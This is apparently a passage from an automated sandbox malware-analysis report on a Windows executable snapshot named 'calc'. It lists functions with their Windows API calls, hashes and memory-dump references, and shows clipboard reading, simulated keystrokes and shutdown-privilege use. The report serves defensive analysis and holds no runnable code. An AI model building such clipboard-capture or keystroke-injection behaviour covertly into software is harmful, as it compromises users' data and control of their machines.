      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharFreeHeapMultiWide__lock_strcat
      • String ID:
      • API String ID: 4005365108-0
      • Opcode ID: ec13adeefd58fac65bc59d535bb5c74c5edd3f60e1ee1c83ae41600f452876aa
      • Instruction ID: 279db9349b9432370442bca1a9a1493b0779058484bbe6e66891083dc9997760
      • Opcode Fuzzy Hash: ec13adeefd58fac65bc59d535bb5c74c5edd3f60e1ee1c83ae41600f452876aa
      • Instruction Fuzzy Hash: E641CF71900208BBEB20EF62CC86EDFB7B9EF44704F10049FF554A2181D77AAB509B59
      Function 004183F6 Relevance: 1.5, APIs: 1, Instructions: 45COMMONLIBRARYCODE
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ClearVariant
      • String ID:
      • API String ID: 1473721057-0
      • Opcode ID: 291f538a9b433d0a6d1e82d5f98e660a5483061f2c47a20ab654f08d6a09c4c0
      • Instruction ID: d2bd3d490d9ddfc467a21e27a978dfc4666dbaf1305854362b7c44e4a4fbedf9
      • Opcode Fuzzy Hash: 291f538a9b433d0a6d1e82d5f98e660a5483061f2c47a20ab654f08d6a09c4c0
      • Instruction Fuzzy Hash: 70016D314009128BEB306F16D881AEAB7E5AF50725F31482FF88186221EF6D9CC29A5D
      Function 004129C0 Relevance: 1.5, APIs: 1, Instructions: 33windowCOMMON
      Download Yara Rule
      APIs
      • CreateIcon.USER32(00000020,00000020,00000001,00000001,?,?), ref: 00412A12
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CreateIcon
      • String ID:
      • API String ID: 3625662491-0
      • Opcode ID: 3275a5c83641fd64901501d8a465da21f4f6a3dcd75cd0197712b1158f272966
      • Instruction ID: 8f4eba20f0dd3c68f254ecd256194a12db5acd5393f4aab0f61f7e9ed3e12a4c
      • Opcode Fuzzy Hash: 3275a5c83641fd64901501d8a465da21f4f6a3dcd75cd0197712b1158f272966
      • Instruction Fuzzy Hash: 50F05471A40219BAEB21AA64DC46FDAB2ACBB08704F000476F605F21C1E6F46D548B98
      Function 00414E55 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
      Download Yara Rule
      APIs
      • GetFileAttributesW.KERNEL32(?,00414BDE,?), ref: 00414E59
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AttributesFile
      • String ID:
      • API String ID: 3188754299-0
      • Opcode ID: c703b52854d76aa319161c5b99ab3c341fa8d321b596a499fcd6fceaba77e700
      • Instruction ID: a7fd8ca27bb0810053334d820270db7b5587be9ae11b805182a5f761d4f63fd8
      • Opcode Fuzzy Hash: c703b52854d76aa319161c5b99ab3c341fa8d321b596a499fcd6fceaba77e700
      • Instruction Fuzzy Hash: 2AC09B34000F105DDE640E385A4D0DA375179C27A5FD41791D479451F2D3394C57F605
      Function 0043138D Relevance: 1.3, APIs: 1, Instructions: 24COMMON
      Download Yara Rule
      APIs
      • CoUninitialize.COMBASE(0045C6D0,00000000,?,0041F99E), ref: 004313CD
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Uninitialize
      • String ID:
      • API String ID: 3861434553-0
      • Opcode ID: c0d1d7e33a4943827e01e4cfbbef932bc404c85381f4d3483751c997e5f8ecfc
      • Instruction ID: df3736b00b7e0be589f0f43ae73a18a9a167cadeb1283b1792a52ecf7f174830
      • Opcode Fuzzy Hash: c0d1d7e33a4943827e01e4cfbbef932bc404c85381f4d3483751c997e5f8ecfc
      • Instruction Fuzzy Hash: 3CE02B71281341DFD720AB709C544673B5ADB88305F185DBFD84687623EEB51886C71D
      Function 00413E1F Relevance: 1.3, APIs: 1, Instructions: 20COMMON
      Download Yara Rule
      APIs
      • CloseHandle.KERNEL32(?,00000000,00413C39,0045C6D0,0040FFF4,0045C6D0,?,?,004105B4,00000000,0047BD30,00000000,0045C6D0,00000000,00000000,0045C6D0), ref: 00413E2F
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseHandle
      • String ID:
      • API String ID: 2962429428-0
      • Opcode ID: 9bfc3fda799452cefd9afc6750f5b897df70f21d9868be3a5e5485ce3cadb6bc
      • Instruction ID: 8d68155d35ff6e49382bc72b4325340e3a7c1b0e2115fedd8b061b5066a75610
      • Opcode Fuzzy Hash: 9bfc3fda799452cefd9afc6750f5b897df70f21d9868be3a5e5485ce3cadb6bc
      • Instruction Fuzzy Hash: D0E092B2406B81DF87209F9A95C0447FBE4BA0871A360883FE0DE82A01C378A4858E1A

      Non-executed Functions

      Function 004045EC Relevance: 127.5, APIs: 68, Strings: 4, Instructions: 1483windowfileCOMMON
      Download Yara Rule
      APIs
      • GetClientRect.USER32(?,?), ref: 00404726
      • GetCursorPos.USER32(?), ref: 00404730
      • ScreenToClient.USER32(?,?), ref: 00404749
      • WindowFromPoint.USER32(?,?), ref: 00404788
      • SetCapture.USER32(?,?,?,?), ref: 004050AE
      • CharUpperBuffW.USER32(?,?,@GUI_DRAGID,?,?,?,?), ref: 004050E5
      • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00405135
      • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 0040515F
      • GetMenuItemInfoW.USER32(?,?,00000000,0000002C), ref: 0040523D
      • GetMenuItemCount.USER32(?), ref: 00405256
      • GetMenuItemID.USER32(?,00000000), ref: 00405265
      • GetMenuItemInfoW.USER32(?,-00000001,00000001,0000002C), ref: 0040528E
      • GetMenuItemInfoW.USER32(?,?,00000001,0000002C), ref: 004052B4
      • CheckMenuRadioItem.USER32(?,?,?,?,00000400), ref: 004052D4
      • FreeLibrary.KERNEL32(?,?,?,?), ref: 00405521
      • DragQueryPoint.SHELL32(?,?), ref: 00405533
      • SendMessageW.USER32(?,000000B0,?,?), ref: 0040558D
      • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00405596
      • DragQueryFileW.SHELL32(?,?,?,00000104), ref: 004055BD
      • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00405600
      • SendMessageW.USER32(?,000000B0,?,?), ref: 00405610
      • SendMessageW.USER32(?,000000B1,?,?), ref: 0040561A
      • SendMessageW.USER32(?,000000B1,?,?), ref: 0040562F
      • DragFinish.SHELL32(?,?,?,?), ref: 00405634
      • CharUpperBuffW.USER32(?,?,@GUI_DROPID,00000000,?,?,?,?), ref: 00405676
      • CharUpperBuffW.USER32(?,?,@GUI_DRAGID,000000FF,0047BD20,?,?,?,?,?), ref: 004056B3
      • CharUpperBuffW.USER32(?,?,@GUI_DRAGFILE,?,0047BD20,?,?,?,?,?), ref: 004056F0
      • ReleaseCapture.USER32 ref: 00405771
      • SetWindowTextW.USER32(?,00000000), ref: 004057FD
      • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0040580D
      • CharUpperBuffW.USER32(?,?,@GUI_DROPID,?), ref: 00405846
      • CharUpperBuffW.USER32(?,?,@GUI_DRAGFILE,?,0047BD20,?,?), ref: 0040588A
      • ClientToScreen.USER32(?,?), ref: 00405110
        • Part of subcall function 004183F6: VariantClear.OLEAUT32(?), ref: 00418410
        • Part of subcall function 0040D33A: SendMessageW.USER32(?,00000136,?,?), ref: 0040D3BF
        • Part of subcall function 0040D33A: GetSysColorBrush.USER32(00000005), ref: 0040D3D0
        • Part of subcall function 0040D33A: GetClientRect.USER32(?,?), ref: 0040D3E0
        • Part of subcall function 0040D33A: SetViewportOrgEx.GDI32(?,00000000,00000000,?), ref: 0040D3F3
        • Part of subcall function 0040D33A: FillRect.USER32(?,?,?), ref: 0040D3FD
        • Part of subcall function 0040D33A: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0040D40B
      • ClientToScreen.USER32(?,?), ref: 004058F4
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Message$Send$BuffCharItemMenuUpper$Client$DragRect$InfoQueryScreen$CaptureFilePointViewportWindow$BrushCheckClearColorCountCursorFillFinishFreeFromInvalidateLibraryPostRadioReleaseTextVariant
      • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$#v
      • API String ID: 3013014237-2962368613
      • Opcode ID: 81e1574966f57f205d7eb795094569a6c03c1e869b79b0831d0879e1c5b5466f
      • Instruction ID: a85160cf80a5b1f34019e14a663ad150d6ae3ef56b36cf0b8cda9c9ba50d982b
      • Opcode Fuzzy Hash: 81e1574966f57f205d7eb795094569a6c03c1e869b79b0831d0879e1c5b5466f
      • Instruction Fuzzy Hash: 38C27B71500649AFDF259F68CC84BEE3BA9EF04314F14012AFA11A72E2D779E851CF99
      Function 00412196 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 120keyboardthreadwindowCOMMON
      Download Yara Rule
      APIs
      • GetForegroundWindow.USER32(?,?,?,00000000,?,00000000), ref: 0041219B
      • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004121C0
      • IsIconic.USER32(?), ref: 004121C9
      • ShowWindow.USER32(?,00000009), ref: 004121D6
      • SetForegroundWindow.USER32(?), ref: 004121DD
      • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004121F4
      • GetCurrentThreadId.KERNEL32 ref: 004121FC
      • GetWindowThreadProcessId.USER32(?,00000000), ref: 0041220D
      • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 0041221D
      • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00412223
      • AttachThreadInput.USER32(00000000,?,00000001), ref: 0041222C
      • SetForegroundWindow.USER32(?), ref: 00412232
      • MapVirtualKeyW.USER32(00000012,00000000), ref: 0041224B
      • keybd_event.USER32(00000012,00000000), ref: 00412256
      • MapVirtualKeyW.USER32(00000012,00000000), ref: 0041225E
      • keybd_event.USER32(00000012,00000000), ref: 00412263
      • MapVirtualKeyW.USER32(00000012,00000000), ref: 0041226A
      • keybd_event.USER32(00000012,00000000), ref: 0041226F
      • MapVirtualKeyW.USER32(00000012,00000000), ref: 00412277
      • keybd_event.USER32(00000012,00000000), ref: 0041227C
      • SetForegroundWindow.USER32(?), ref: 00412282
      • AttachThreadInput.USER32(00000000,?,00000000), ref: 0041229A
      • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 0041229F
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ThreadWindow$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
      • String ID: Shell_TrayWnd
      • API String ID: 2889586943-2988720461
      • Opcode ID: 27bde8f325f4ca65f9c45f11051872c97efc407ea39f8a14d5d8c1b3cfdf20f6
      • Instruction ID: cb7438905b74c3bcc21d4994487d953355f125afc937cec0d547d7a337ec13bb
      • Opcode Fuzzy Hash: 27bde8f325f4ca65f9c45f11051872c97efc407ea39f8a14d5d8c1b3cfdf20f6
      • Instruction Fuzzy Hash: 7131D47250030CBFE611AF62DD89E7F7EACDB89B95F020429F60492192D676DC20DA76
      Function 0042A322 Relevance: 31.7, APIs: 21, Instructions: 165clipboardfileCOMMON
      Download Yara Rule
      APIs
      • OpenClipboard.USER32(0045C6D0), ref: 0042A34E
      • IsClipboardFormatAvailable.USER32(0000000D), ref: 0042A35C
      • GetClipboardData.USER32(0000000D), ref: 0042A364
      • CloseClipboard.USER32 ref: 0042A370
        • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
      • GlobalLock.KERNEL32(00000000), ref: 0042A37D
      • GlobalUnlock.KERNEL32(00000000), ref: 0042A38E
      • IsClipboardFormatAvailable.USER32(00000001), ref: 0042A39B
      • GetClipboardData.USER32(00000001), ref: 0042A3A3
      • GlobalLock.KERNEL32(00000000), ref: 0042A3B0
      • CloseClipboard.USER32 ref: 0042A3BA
      • IsClipboardFormatAvailable.USER32(0000000F), ref: 0042A3E5
      • GetClipboardData.USER32(0000000F), ref: 0042A3F1
      • CloseClipboard.USER32 ref: 0042A3FF
      • GlobalLock.KERNEL32(00000000), ref: 0042A40B
      • CloseClipboard.USER32 ref: 0042A415
      • DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0042A437
      • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0042A455
      • DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0042A48A
      • GlobalUnlock.KERNEL32(00000000), ref: 0042A4AA
      • CountClipboardFormats.USER32 ref: 0042A4BF
      • CloseClipboard.USER32 ref: 0042A4DA
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Clipboard$CloseGlobal$AvailableDataDragFileFormatLockQuery$ByteCharMultiUnlockWide$CountFormatsOpen_strlen
      • String ID:
      • API String ID: 2574986921-0
      • Opcode ID: e1dd125d9a88cc09583c45a5a8a274419ec46e367697b661965c693209983685
      • Instruction ID: 2cdc2f06eb618e585f5a6265f66a70c7a1ebf7fce3b87c4d366946daf1d9761b
      • Opcode Fuzzy Hash: e1dd125d9a88cc09583c45a5a8a274419ec46e367697b661965c693209983685
      • Instruction Fuzzy Hash: E351B335704225FBDB10BBB0AC49BEF3768AF04716F500167FD02E61D2DA78DE518A6A
      Function 00415C2E Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 64shutdownCOMMON
      Download Yara Rule
      APIs
      • GetCurrentProcess.KERNEL32(00000028,?), ref: 00415C47
      • OpenProcessToken.ADVAPI32(00000000), ref: 00415C4E
      • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00415C64
      • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00415C83
      • GetLastError.KERNEL32 ref: 00415C89
      • EnumWindows.USER32(00415CDD,00000000), ref: 00415CB0
      • ExitWindowsEx.USER32(?,00000000), ref: 00415CC2
      • SetSystemPowerState.KERNEL32(00000000,00000000), ref: 00415CD4
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ProcessTokenWindows$AdjustCurrentEnumErrorExitLastLookupOpenPowerPrivilegePrivilegesStateSystemValue
      • String ID: $ $@$SeShutdownPrivilege
      • API String ID: 3737638738-3163812486
      • Opcode ID: ea0fbbeac291180e333a6a094d9918e1e1657e0eb019d4086f517d0bf663a25b
      • Instruction ID: 49d841cba545c5e070391086715d3aefc5c408c91397dada84c5bad0ac2ab89b
      • Opcode Fuzzy Hash: ea0fbbeac291180e333a6a094d9918e1e1657e0eb019d4086f517d0bf663a25b
      • Instruction Fuzzy Hash: 9911C171501724FAEB209FA49D8CBEB7EAC9B45382F140462F806D1191E3688DC0C6ED
      Function 0043A442 Relevance: 20.5, Strings: 16, Instructions: 542COMMON
      Download Yara Rule
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID: byte$char$double$dword$float$hwnd$int$int64$long$ptr$short$ubyte$udword$uint$uint64$ushort
      • API String ID: 0-2529698504
      • Opcode ID: 763c02a2de9db83eade9874e8fbb5dea73bf7cd8866592b9f5a17dbb08c6a031
      • Instruction ID: 408187dce4e3af08b5b89b5e17c97d7132e6516c7f25d87d376e3bda80f24d10
      • Opcode Fuzzy Hash: 763c02a2de9db83eade9874e8fbb5dea73bf7cd8866592b9f5a17dbb08c6a031
      • Instruction Fuzzy Hash: 9502C131D40614ABDB21EF6988417DFB7B1FF09314F1044AFE949BB241D7B89E858B8A
      Function 004527E8 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 212timeCOMMON
      Download Yara Rule
      APIs
      • __lock.LIBCMT ref: 004527FB
        • Part of subcall function 0044C6DB: RtlEnterCriticalSection.NTDLL(?), ref: 0044C703
      • _strlen.LIBCMT ref: 0045286D
      • _strcat.LIBCMT ref: 0045288A
      • _strncpy.LIBCMT ref: 004528A3
        • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
        • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
      • GetTimeZoneInformation.KERNEL32(004675A8,0045BBD8,00000018,00452DFD,0045BBE8,00000008,0044BA23,00000000,?,00436C4F,?,?,00000002,?,00000000), ref: 0045290C
      • WideCharToMultiByte.KERNEL32(00000000,00000000,004675AC,000000FF,0000003F,00000000,?,?,00436C4F,?,?,00000002,?,00000000), ref: 0045299A
      • WideCharToMultiByte.KERNEL32(00000000,00000000,00467600,000000FF,0000003F,00000000,?,?,00436C4F,?,?,00000002,?,00000000), ref: 004529CE
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharMultiWide__lock$CriticalEnterFreeHeapInformationSectionTimeZone_strcat_strlen_strncpy
      • String ID: 0\F$p\F
      • API String ID: 3757401926-1809889677
      • Opcode ID: 72b74fc6cbe86940d868aecab1892e8030400bf39c2cc0ec2a73adf041a27207
      • Instruction ID: d2ea11773b2d3be43936d7844425afaec6d5ad34900df3f8f7bdcc1512a1afa4
      • Opcode Fuzzy Hash: 72b74fc6cbe86940d868aecab1892e8030400bf39c2cc0ec2a73adf041a27207
      • Instruction Fuzzy Hash: E2711A71904B409ED7259F28EE41B567BE5A716325F64022FE880973A2E7F84C46CB1E
      Function 0041510D Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163filestringCOMMON
      Download Yara Rule
      APIs
